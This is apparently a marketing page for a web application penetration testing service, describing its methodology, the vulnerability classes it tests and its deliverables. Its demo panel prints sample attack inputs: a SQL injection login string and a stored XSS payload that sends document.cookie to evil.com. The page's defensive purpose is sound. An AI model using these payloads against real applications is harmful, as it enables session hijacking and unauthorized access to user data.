Single-Page Applications
React, Angular and Vue SPAs with client-side routing, state management, local storage token handling, postMessage listeners and API-driven data flows that require browser-context testing.
Web Application Security Testing
Your web app handles customer data, payments, and trust. We test what protects it.
Automated scanners cover the surface. Our testers go deeper — manually exploiting authentication flaws, session handling gaps, business logic bypasses and access control failures that scanners structurally cannot find. Tested against OWASP Top 10 and ASVS Level 2. Every finding validated. Every report fix-ready.
- 0+
- Endpoints
- 0+
- Tools
- 0
- False Positives
- 1
- Free Retest
https://app.example.com/dashboard
Test 01 — Authentication Bypass
email:
admin@example.com
password:
' OR '1'='1' --
SQLi
CRITICAL
Test 02 — Access Control
Request:
GET /api/users/1337/invoices
Logged in as: user_id=42
200
IDOR — Data leaked
Test 03 — Stored XSS
Comment field payload:
<img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>
Payload executed — cookie exfiltrated to attacker
Test 04 — Session Handling
POST /auth/password-reset
Session token after reset: unchanged
2 Critical
2 High
OWASP Top 10
ASVS Level 2
CWE/SANS Top 25
CVSS 4.0
PCI DSS Mapping
// What's Included
What's Included in Our Web Application Security Testing
Web application security testing at CipherTrivia covers four distinct testing disciplines, each run manually by senior testers. Every discipline targets a category of vulnerabilities that automated scanners consistently miss because they require context, state awareness and an understanding of your application's intended behavior.
// Scope
Application Types Our Web Application Security Testing Covers
Our web application security testing methodology adapts to the technology stack and architecture of each application type. The attack surface of a React SPA is fundamentally different from a Django monolith or a multi-tenant SaaS platform, and our testing reflects that.
Server-Rendered Applications
Django, Rails, .NET and Spring MVC applications with server-side rendering, form-based auth, CSRF tokens, server-side session management and template injection surfaces.
Progressive Web Apps
PWAs with service workers, offline caching, push notification endpoints, background sync and manifest-based install flows that introduce unique client-side attack surfaces.
Admin Panels & Internal Tools
Backoffice dashboards and internal tools often have weaker security controls than customer-facing apps. We test for privilege escalation, data export abuse, audit-log bypass and network-level exposure.
E-commerce Platforms
Payment flow manipulation, coupon and discount abuse, cart tampering, price modification, inventory race conditions and PCI DSS-relevant input handling on checkout flows.
SaaS Multi-Tenant Applications
Tenant isolation, cross-tenant data leakage, subdomain takeover, shared-resource abuse, role-based access across organization boundaries and API key scope validation.
// What We Find
Common Vulnerabilities Our Web Application Security Testing Uncovers
Across hundreds of web application security testing engagements, the same vulnerability classes appear repeatedly. Here are the six categories we test for hardest because they carry the highest business impact and are the most frequently missed by automated tools.
Class 01 / 06
Broken Authentication & Session Management
Broken Authentication & Session Management
Session fixation after login or password reset, JWT tokens accepted with alg: none, refresh tokens that remain valid after logout, password-reset tokens with insufficient entropy, missing step-up authentication on sensitive operations and cookie flags (HttpOnly, Secure, SameSite) that aren't enforced consistently. Most teams harden the login form and stop there; the riskier surface is the full session lifecycle around it.
Why it's missed
Automated scanners test whether a login form exists, not whether the session it creates behaves correctly across logout, password reset, concurrent sessions and privilege changes. We test the complete lifecycle with multiple accounts simultaneously.
Cross-Site Scripting (Stored, Reflected, DOM)
Stored XSS in rich text editors, user profiles and comment fields that render unescaped HTML. Reflected XSS in search parameters, error messages and redirect URLs. DOM-based XSS through postMessage handlers with no origin check, client-side template injection, innerHTML sinks and mutation XSS that bypasses DOMPurify. A working XSS chain can silently exfiltrate session tokens or trigger state-changing actions as the victim.
Why it's missed
Teams assume "we use React" or "we have a CSP" means XSS is solved. We test the actual rendering paths and find the one custom component that bypasses both the framework defaults and the content security policy.
SQL Injection & Server-Side Injection
Classic SQL injection in raw query builders and dynamic sort/filter parameters. NoSQL operator injection ($where, $ne) in MongoDB stores. Server-Side Template Injection (SSTI) in Jinja2, Twig and Thymeleaf. Second-order injection where tainted data is stored safely but later concatenated into a query in a different code path. Command injection through file processing, PDF generation and image manipulation features.
Why it's missed
"We use an ORM" is the most common false sense of security we encounter. We specifically target the raw-query exceptions, dynamic field names and second-order paths where the ORM is bypassed.
Insecure Direct Object References (IDOR)
Endpoints that accept user-controlled IDs (sequential integers, UUIDs, filenames) without verifying that the requesting user owns the referenced object. This manifests on profile pages, data exports, invoice downloads, file attachments and API endpoints that were tested with one account but never verified with a second account at a different privilege level. IDOR is the most common high-severity finding in our web application security testing engagements.
Why it's missed
Scanners cannot reason about object ownership. Finding IDOR requires testing every sensitive endpoint with two real accounts of different privilege levels side by side, which is exactly how our testers work.
Business Logic Flaws
Price manipulation by intercepting and modifying request parameters. Coupon stacking and discount abuse. Race conditions on inventory, balance or vote endpoints. Workflow step skipping where a user jumps directly from step 1 to step 5 without completing validation steps. Privilege escalation through state manipulation, such as changing a role parameter or replaying an admin invite token. These flaws exist because the application's intended behavior was never formally defined as a security boundary.
Why it's missed
No scanner can understand what a "valid" checkout flow looks like in your application. Our testers read the product documentation, map the workflows and then systematically try to break the assumptions each workflow depends on.
Cross-Site Request Forgery & Clickjacking
State-changing actions (account settings, email change, password reset, fund transfers) that lack CSRF tokens or rely solely on cookies for authentication. Clickjacking through missing X-Frame-Options and frame-ancestors CSP directives, allowing an attacker to overlay invisible iframes on a trusted page and trick users into performing unintended actions. Login CSRF where an attacker forces a victim to authenticate to an attacker-controlled account.
Why it's missed
SPA frameworks often handle CSRF tokens inconsistently across routes, especially on endpoints added after the initial build. We test every state-changing endpoint individually, not just the ones the framework auto-protects.
0+
Avg. findings per web app engagement
0%
Findings retested at no cost
0h
Avg. critical-finding notification
0
False positives in final reports
// Methodology
How Our Web Application Security Testing Works
One to three weeks. Five phases. Every endpoint, every role, every flow — tested manually.
webapp-test.sh — CipherTrivia
#!/bin/bash — webapp-security-test
$ map --crawl --enumerate --threat-model
→ 247 endpoints. 6 roles. 14 auth flows mapped.
✓ Attack surface ready — Week 0
$ test-auth --session --jwt --oauth --mfa
⚠ JWT alg:none accepted. Session survives password reset.
✓ 3 auth findings — Week 1
$ inject --sqli --xss --ssti --cmdi
✗ Stored XSS in comment field. SQLi in sort param.
✓ 4 injection findings — Week 1-2
$ test-logic --idor --csrf --race --workflow
✗ IDOR on /api/users/{id}. CSRF on email change.
✓ 5 access-control findings — Week 2
$ report --cvss4 --owasp-map --retest
→ 12 findings. Report delivered. Walkthrough done.
✓ Closure report after retest — Week 3
$
01
Application Mapping & Threat Modeling
We crawl the application, enumerate every endpoint, map authentication flows, identify user roles and build a threat model. This covers API endpoints, form actions, JS-driven routes, WebSocket connections and third-party integrations. The output is a complete attack-surface inventory.
Crawling
Endpoint Enum
Threat Model
Week 0 · Output: Attack surface inventory
02
Authentication & Session Analysis
Full lifecycle testing: login, registration, password reset, MFA, session fixation, token entropy, cookie flags, concurrent sessions, logout invalidation. JWT tested for algorithm confusion and weak keys. OAuth/OIDC tested for redirect URI manipulation and state validation.
JWT Analysis
OAuth/OIDC
Session Lifecycle
Week 1 · Output: Auth findings report
03
Input Handling & Injection Testing
Every input point tested for SQLi, XSS (stored, reflected, DOM), SSTI, command injection, LDAP injection and header injection. Covers form fields, HTTP headers, file upload filenames, JSON/XML bodies, WebSocket messages and URL path params. Second-order injection paths traced through the data flow.
SQLi / NoSQLi
XSS (3 types)
SSTI / RCE
Week 1–2 · Output: Injection findings
04
Business Logic & Access Control Testing
We break workflow assumptions: skip steps, manipulate params, race concurrent requests, replay tokens. Every endpoint tested with multiple accounts at different privilege levels for horizontal and vertical access control. IDOR on all object references. CSRF on every state-changing action.
IDOR
CSRF
Race Conditions
Week 2 · Output: Access control findings
05
Reporting, Walkthrough & Retest
Prioritized report with CVSS 4.0, OWASP/CWE mapping, PoC evidence, reproduction steps and developer-ready fix guidance. Live walkthrough with your engineering team. Free retest of every finding once fixed. Signed closure report for auditors and customers.
CVSS 4.0 Report
Live Walkthrough
Free Retest
Week 3 · Output: Report + closure certificate
// Deliverables
What You Receive From Our Web Application Security Testing
Every web application security testing engagement ends with a report built to be used: by engineers fixing issues, by leadership prioritizing budget, and by auditors verifying due diligence.
01
Executive Summary
A concise overview of your web application's security posture written for non-technical stakeholders: overall risk rating, key findings categorized by severity and the business impact of each issue class.
02
Detailed Findings Report
Every vulnerability listed with a CVSS 4.0 score, OWASP/CWE classification, proof-of-concept evidence (screenshots, HTTP request/response pairs) and step-by-step reproduction instructions.
03
Remediation Guidance
Developer-ready fix guidance for every finding, including code-level recommendations, framework-specific implementation details and OWASP/CWE references so engineers know exactly what to change.
04
Live Walkthrough Session
A call with our testers to walk through every finding, demonstrate exploits in real time, answer engineering questions and agree on a remediation priority plan together.
05
Free Retest & Closure Report
Once findings are fixed, we retest every issue at no extra cost and issue a signed closure report confirming what was resolved. This is the document auditors, enterprise customers and compliance frameworks require.
Five deliverables. One engagement. Everything your team and your auditors need.
See a sample report// Why CipherTrivia
Why Choose CipherTrivia for Web Application Security Testing
A few things set how we run web application security testing apart from a typical scan-and-PDF vendor.
Manual Testing by Senior Engineers
Every web application security testing engagement is led by experienced testers who manually validate every finding. No junior-only teams running default scanner profiles against your application.
Business Logic Expertise
We read your product documentation, understand the intended workflows and then systematically break the assumptions they depend on. This is the category of finding that separates a real test from a scanner report.
Zero False-Positive Reports
If a finding is in your report, it has been manually exploited and confirmed. We do not pad reports with unvalidated scanner output, so your engineering team spends time fixing, not triaging noise.
Compliance-Ready From Day One
Reports map directly to ISO 27001, SOC 2, PCI DSS and GDPR evidence requirements. The closure report after retest is the exact document your auditors and enterprise customers ask for.
// Proof of Work
A Web Application Security Testing Case Study
Web App Security · Banking & Fintech
Closing Critical Gaps in a Banking API Gateway
A regional bank needed a full web application security test of its customer-facing API gateway ahead of launch. Our team found 9 issues including a critical broken access control flaw and session fixation vulnerability, then retested every fix before a 3-week deadline.
Read case study// FAQ
Frequently Asked Questions About Web Application Security Testing
What does web application security testing cover beyond automated scanning?
Web application security testing goes beyond automated scanning to include manual testing of authentication flows, session management, business logic flaws, access control enforcement, input validation and output encoding. Testers simulate real attacker behavior by chaining low-severity issues into high-impact exploit paths, testing role-based access with multiple user accounts side by side, and validating that security controls work under edge-case conditions that scanners cannot replicate.
How is web application security testing different from a vulnerability scan?
A vulnerability scan runs automated tools against known signatures and misconfigurations. Web application security testing includes that scanning layer but adds manual penetration testing: a tester logs in with real credentials, walks through business workflows, tests access control between roles, probes input handling with context-aware payloads, and verifies whether each finding is actually exploitable in your specific environment. The result is a report with zero false positives and real business-impact analysis, not a 200-page scanner dump.
Which standards does your web application security testing follow?
Our web application security testing is aligned to the OWASP Top 10, OWASP Application Security Verification Standard (ASVS) Level 2, CWE/SANS Top 25 and CVSS 4.0 for vulnerability scoring. Reports include PCI DSS mapping where applicable. Every finding is traceable to an industry-recognized classification, which is what auditors, compliance teams and enterprise customers expect.
How long does a web application security test take?
A typical web application security test takes one to three weeks depending on the size and complexity of the application. A small single-purpose app with 30 to 50 endpoints can complete in one week. A large SaaS platform with multiple user roles, API integrations and complex business logic typically requires two to three weeks. We confirm the timeline during scoping before any testing begins, so there are no surprises.
Do you provide a retest after we fix the vulnerabilities?
Yes. Every web application security testing engagement includes one full retest cycle at no additional cost. Once your team has remediated the reported findings, we re-verify each issue individually and issue a signed closure report confirming which vulnerabilities were fixed. This closure report is the document most auditors, enterprise customers and compliance frameworks require as evidence of remediation.
Get Started With Web Application Security Testing
Tell us about your web application and we'll scope a security testing engagement that covers authentication, business logic, input handling and access control, matched to your timeline and compliance requirements.